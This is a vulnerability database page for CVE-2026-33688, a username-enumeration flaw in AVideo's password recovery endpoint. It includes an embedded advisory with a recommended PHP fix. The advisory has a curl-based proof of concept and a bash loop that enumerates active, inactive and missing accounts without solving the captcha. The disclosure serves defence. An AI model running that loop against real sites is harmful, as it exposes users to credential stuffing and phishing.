CVE-2026-33688: Wwbn/avideo AVideo Has Pre-Captcha User Enumeration Vulnerability
MODERATECVE-2026-33688 is a MODERATE (CVSS 5.3) avideo has pre-captcha user enumeration vulnerability (CWE-204: Observable Response Discrepancy) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has pre-captcha user enumeration and account status disclosure in password recovery endpoint. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33688 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-33688
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33688, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-204: Observable Response Discrepancy, where the product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33688 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33688?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-33688?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33688?
What CWE is associated with CVE-2026-33688?
How can I check Packagist dependencies for CVE-2026-33688?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m99f-mmvg-3xmx",
"modified" : "2026-03-25T19:53:00Z",
"published" : "2026-03-25T19:53:00Z",
"aliases" : [ "CVE-2026-33688" ],
"summary" : "AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint",
"details" : "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n $obj->error = __(\"User not found\");\n die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n $obj->error = __(\"The user is not active\");\n die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n} else {\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d \"user=${user}&captcha=\")\n error=$(echo \"$result\" | jq -r .error)\n if [ \"$error\" = \"Captcha is empty\" ]; then\n echo \"[ACTIVE] $user\"\n elif [ \"$error\" = \"The user is not active\" ]; then\n echo \"[INACTIVE] $user\"\n else\n echo \"[NOT FOUND] $user\"\n fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n header('Content-Type: application/json');\n\n // Validate captcha FIRST, before any user lookups\n if (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n die(json_encode($obj));\n }\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n if (!$valid) {\n $obj->error = __(\"Your code is not valid\");\n $obj->reloadCaptcha = true;\n die(json_encode($obj));\n }\n\n // After captcha passes, check user — but use generic message\n if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n // Generic message — do not reveal whether user exists or is active\n $obj->success = __(\"If this account exists, a recovery email has been sent\");\n die(json_encode($obj));\n }\n\n // Proceed with actual password recovery...\n $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33688"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-204" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-25T19:53:00Z",
"nvd_published_at" : "2026-03-23T19:16:42Z"
}
}